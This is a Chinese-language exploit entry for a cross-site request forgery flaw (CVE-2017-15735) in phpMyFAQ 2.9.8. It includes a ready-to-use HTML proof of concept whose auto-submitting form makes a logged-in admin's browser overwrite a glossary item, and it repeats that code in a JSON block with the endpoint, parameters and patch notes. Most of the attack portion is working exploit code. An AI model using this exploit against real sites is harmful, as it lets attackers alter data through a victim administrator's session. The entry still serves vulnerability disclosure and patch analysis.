本文详细介绍了phpMyFAQ 2.9.8版本中存在的跨站请求伪造漏洞,包含漏洞原理、执行路径、补丁机制以及一个可直接利用的HTML概念验证代码。
Exploit标题:phpMyFAQ 2.9.8 跨站请求伪造(CSRF)
日期:2024-10-26
漏洞利用作者:CodeSecLab
供应商主页:https://github.com/thorsten/phpMyFAQ
软件链接:https://github.com/thorsten/phpMyFAQ
版本:2.9.8
测试平台:Ubuntu Windows
CVE:CVE-2017-15735
概念验证:
在保持登录状态的同时,打开另一个浏览器窗口:
1
2
3
4
5
6
7
8
9
10
11
12
13
< html >
< body >
< form action = "http://phpmyfaq/admin/index.php?action=updateglossary" method = "POST" >
< input type = "hidden" name = "id" value = "1" >
< input type = "hidden" name = "item" value = "Malicious Glossary Item" >
< input type = "hidden" name = "definition" value = "This is a malicious definition." >
< input type = "submit" value = "Submit request" >
</ form >
< script >
document . forms [ 0 ]. submit ();
</ script >
</ body >
</ html >
部分细节:
1
2
3
4
5
6
7
8
9
{
"补丁前的保护机制" : "术语表修改操作(添加、更新、删除)没有进行CSRF令牌验证。补丁为POST和GET请求引入了CSRF令牌检查,以确保只有经过授权的会话才能执行这些操作。" ,
"文件导航链" : "公共访问入口URL -> phpmyfaq/admin/index.php -> glossary.main.php -> glossary.edit.php" ,
"执行路径约束" : "用户必须通过身份验证并拥有必要的权限('editglossary')才能通过'index.php'入口点访问和交互术语表功能。如果没有正确的身份验证,服务器会重定向到登录表单。" ,
"请求参数" : "id, item, definition" ,
"请求方法" : "POST" ,
"请求URL" : "http://phpmyfaq/admin/index.php?action=updateglossary" ,
"最终概念验证代码" : "```\n<html>\n <body>\n <form action=\"http://phpmyfaq/admin/index.php?action=updateglossary\" method=\"POST\">\n <input type=\"hidden\" name=\"id\" value=\"1\">\n <input type=\"hidden\" name=\"item\" value=\"Malicious Glossary Item\">\n <input type=\"hidden\" name=\"definition\" value=\"This is a malicious definition.\">\n <input type=\"submit\" value=\"Submit request\">\n </form>\n <script>document.forms[0].submit();</script>\n </body>\n</html>\n```"
}
Licensed under CC BY-NC-SA 4.0